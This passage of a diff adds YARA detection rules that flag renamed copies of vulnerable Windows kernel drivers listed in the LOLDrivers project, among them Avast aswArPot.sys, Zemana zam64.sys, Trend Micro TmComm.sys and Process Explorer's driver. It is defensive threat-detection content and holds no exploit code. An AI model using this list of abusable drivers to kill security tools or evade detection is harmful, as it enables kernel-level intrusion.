+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Asustekcomputerinc_Atsziosys_Atsziodriver_55A1 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ATSZIO.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "55a1535e173c998fbbc978009b02d36ca0c737340d84ac2a8da73dfc2f450ef9"
+		hash = "c64d4ac416363c7a1aa828929544d1c1d78cf032b39769943b851cfc4c0faafc"
+		date = "2023-06-14"
+		score = 70
+		id = "5486718a-942a-5c48-b2ba-619ec75f9a5f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004100540053005a0049004f0020004400720069007600650072 } /* FileDescription ATSZIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004100530055005300540065006b00200043006f006d0070007500740065007200200049006e0063002e } /* CompanyName ASUSTekComputerInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0030002e0032002e0031002e0036 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0030002e0032002e0031002e0036 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004100540053005a0049004f002e007300790073 } /* InternalName ATSZIOsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004100540053005a0049004f0020004400720069007600650072 } /* ProductName ATSZIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004100540053005a0049004f002e007300790073 } /* OriginalFilename ATSZIOsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310032 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ATSZIO/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sisoftware_Sandra_Sisoftwaresandra_1AAF {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - sandra.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1aaf4c1e3cb6774857e2eef27c17e68dc1ae577112e4769665f516c2e8c4e27b"
+		date = "2023-06-14"
+		score = 70
+		id = "af3aeaf1-cf11-534a-98ce-f0fc91a55594"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003600340020007800360034002900280055006e00690063006f006400650029 } /* FileDescription SandraDeviceDriverWinxUnicode */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 } /* CompanyName SiSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e00310031002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e00310031002e0031002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 } /* InternalName SANDRA */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 } /* ProductName SiSoftwareSandra */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 } /* OriginalFilename SANDRA */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300038002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightSiSoftwareLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /sandra/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Aegis_C901 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c9014b03866bf37faa8fdb16b6af7cfec976aaef179fd5797d0c0bf8079d3a8c"
+		date = "2023-06-14"
+		score = 70
+		id = "c982914b-d99f-5ff4-a520-285308d54947"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0030002e0030002e0031003100310038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410045004700490053 } /* ProductName AEGIS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300035002d00320030003000370020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Symanteccorporation_Vproeventmonitorsys_Symanteceventmonitorsdriverdevelopmentedition_7877 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VProEventMonitor.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7877c1b0e7429453b750218ca491c2825dae684ad9616642eff7b41715c70aca"
+		date = "2023-06-14"
+		score = 70
+		id = "9c70d8f6-1bd9-5a04-be49-ba4eb5d3bbb3"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600500072006f004500760065006e0074004d006f006e00690074006f0072002e0053007900730020002d0020004500760065006e00740020004d006f006e00690074006f00720069006e00670020006400720069007600650072 } /* FileDescription VProEventMonitorSysEventMonitoringdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00530079006d0061006e00740065006300200043006f00720070006f0072006100740069006f006e } /* CompanyName SymantecCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e00340035003700300038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]005600500072006f004500760065006e0074004d006f006e00690074006f0072002e005300790073 } /* InternalName VProEventMonitorSys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530079006d0061006e0074006500630020004500760065006e00740020004d006f006e00690074006f00720073002000440072006900760065007200200044006500760065006c006f0070006d0065006e0074002000450064006900740069006f006e } /* ProductName SymantecEventMonitorsDriverDevelopmentEdition */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]005600500072006f004500760065006e0074004d006f006e00690074006f0072002e005300790073 } /* OriginalFilename VProEventMonitorSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300037002d0032003000300038002000530079006d0061006e00740065006300200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightSymantecCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /VProEventMonitor/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Wj_Kprocesshacker_C725 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - krpocesshacker.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c725919e6357126d512c638f993cf572112f323da359645e4088f789eb4c7b8c"
+		date = "2023-06-14"
+		score = 70
+		id = "6fc3cdb0-6d5f-56f8-8f36-0ff5bef55de3"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004b00500072006f0063006500730073004800610063006b00650072 } /* FileDescription KProcessHacker */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0077006a00330032 } /* CompanyName wj */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0032002e0038 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e0038 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004b00500072006f0063006500730073004800610063006b00650072 } /* ProductName KProcessHacker */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006b00700072006f0063006500730073006800610063006b00650072002e007300790073 } /* OriginalFilename kprocesshackersys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]004c006900630065006e00730065006400200075006e006400650072002000740068006500200047004e0055002000470050004c002c002000760033002e } /* LegalCopyright LicensedundertheGNUGPLv */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /krpocesshacker/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpot_Avastantivirus_7AD0 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "7ad0ab23023bc500c3b46f414a8b363c5f8700861bc4745cecc14dd34bcee9ed"
+		date = "2023-06-14"
+		score = 70
+		id = "0319c351-404e-5272-b0d5-952ce977838f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AvastAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0034002e00380033002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_C082 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c082514317bf80a2f5129d84a5a55e411a95e32d03a4df1274537704c80e41dd"
+		date = "2023-06-14"
+		score = 70
+		id = "87a0873b-23fb-5a11-a3f4-942f30cdcfa7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00360030002e0030002e0031003000380034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00360030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003200300020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 400KB and all of them and not filename matches /TmComm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Creativetechnologyinnovationcoltd_Ctiiosys_Ctiiodriverversion_X_2121 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - CtiIo64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2121a2bb8ebbf2e6e82c782b6f3c6b7904f686aa495def25cf1cf52a42e16109"
+		date = "2023-06-14"
+		score = 70
+		id = "a8590fdf-3af6-5231-b089-bb07eef1e2d4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00430054004900200049004f0020006400720069007600650072 } /* FileDescription CTIIOdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043007200650061007400690076006500200054006500630068006e006f006c006f0067007900200049006e006e006f0076006100740069006f006e00200043006f002e002c0020004c00540064002e } /* CompanyName CreativeTechnologyInnovationCoLTd */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion xbuiltbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300020007800360034 } /* ProductVersion x */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043007400690049006f00360034002e007300790073 } /* InternalName CtiIosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043007400690049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0030 } /* ProductName CtiIoDriverVersion */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043007400690049006f00360034002e007300790073 } /* OriginalFilename CtiIosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003200310020004300540049 } /* LegalCopyright CopyrightcCTI */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /CtiIo64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Ssmartsoftwaresolutionsgmbh_Sysdrvs_Sysdrvs_0E53 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SysDrv3S.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0e53b58415fa68552928622118d5b8a3a851b2fc512709a90b63ba46acda8b6b"
+		date = "2023-06-14"
+		score = 70
+		id = "820cc12f-f611-50d6-8091-4aca403d3e97"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530079007300440072007600330053 } /* FileDescription SysDrvS */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00330053002d0053006d00610072007400200053006f00660074007700610072006500200053006f006c007500740069006f006e007300200047006d00620048 } /* CompanyName SSmartSoftwareSolutionsGmbH */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002c0035002c0036002c0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0035002e0036002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530079007300440072007600330053 } /* InternalName SysDrvS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00530079007300440072007600330053 } /* ProductName SysDrvS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530079007300440072007600330053002e007300790073 } /* OriginalFilename SysDrvSsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a900200032003000300036002d0032003000310034 } /* LegalCopyright Copyright */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /SysDrv3S/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpotsys_Avastantivirus_14AD {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "14adbf0bc43414a7700e5403100cff7fc6ade50bebfab16a17acf2fdda5a9da8"
+		date = "2023-06-14"
+		score = 70
+		id = "92155ad4-0564-570b-8b9b-39ec68a937af"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription Avastantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310037002e0039002e0033003700350034002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310037002e0039002e0033003700350034002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300031003400200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Windowsrserverddkprovider_Cpuzsys_Windowsrserverddkdriver_3871 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz_x64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3871e16758a1778907667f78589359734f7f62f9dc953ec558946dcdbe6951e3"
+		date = "2023-06-14"
+		score = 70
+		id = "4a81c778-c70d-57f7-b57e-3f2de7bfbd27"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRServerDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0035002e0032002e0033003700390030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000530065007200760065007200200032003000300033002000440044004b0020006400720069007600650072 } /* ProductName WindowsRServerDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /cpuz_x64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_37C6 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9"
+		date = "2023-06-14"
+		score = 70
+		id = "8f7f8c67-774d-5864-a9a9-e43896a8e1f4"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0032002e003100370020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0032002e00310037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003800200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /iQVW64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Toshibacorporation_Nchgbiosxsys_Toshibabiospackage_3143 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NCHGBIOS2x64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "314384b40626800b1cde6fbc51ebc7d13e91398be2688c2a58354aa08d00b073"
+		date = "2023-06-14"
+		score = 70
+		id = "c37e0f2e-edf4-57bc-96d3-2256241603b7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00420049004f00530020005500700064006100740065002000440072006900760065007200200046006f0072002000570069006e0064006f007700730020007800360034002000450064006900740069006f006e } /* FileDescription BIOSUpdateDriverForWindowsxEdition */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0054004f0053004800490042004100200043006f00720070006f0072006100740069006f006e } /* CompanyName TOSHIBACorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0034002e0032002e0034002e00300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0034002e0032002e0034002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00430048004700420049004f00530032007800360034002e005300590053 } /* InternalName NCHGBIOSxSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0054004f00530048004900420041002000420049004f00530020005000610063006b006100670065 } /* ProductName TOSHIBABIOSPackage */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00430048004700420049004f00530032007800360034002e005300590053 } /* OriginalFilename NCHGBIOSxSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200031003900390039002d003200300031003200200054004f0053004800490042004100200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCTOSHIBACorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NCHGBIOS2x64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Zemanaltd_Zam_5439 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "543991ca8d1c65113dff039b85ae3f9a87f503daec30f46929fd454bc57e5a91"
+		hash = "ab2632a4d93a7f3b7598c06a9fdc773a1b1b69a7dd926bdb7cf578992628e9dd"
+		date = "2023-06-14"
+		score = 70
+		id = "f2b28250-5041-59a9-a49f-9b9597e630ef"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00320031002e00360033 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /zam64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_30AB {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "30abc0cc700fdebc74e62d574addc08f6227f9c7177d9eaa8cbc37d5c017c9bb"
+		date = "2023-06-14"
+		score = 70
+		id = "d9027c11-b261-5751-a75f-149cc317a186"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310031002e00330030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310031002e00330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d002e002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000300038 } /* LegalCopyright CopyrightCMRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /procexp/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Zemanaltd_Zam_DE8F {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
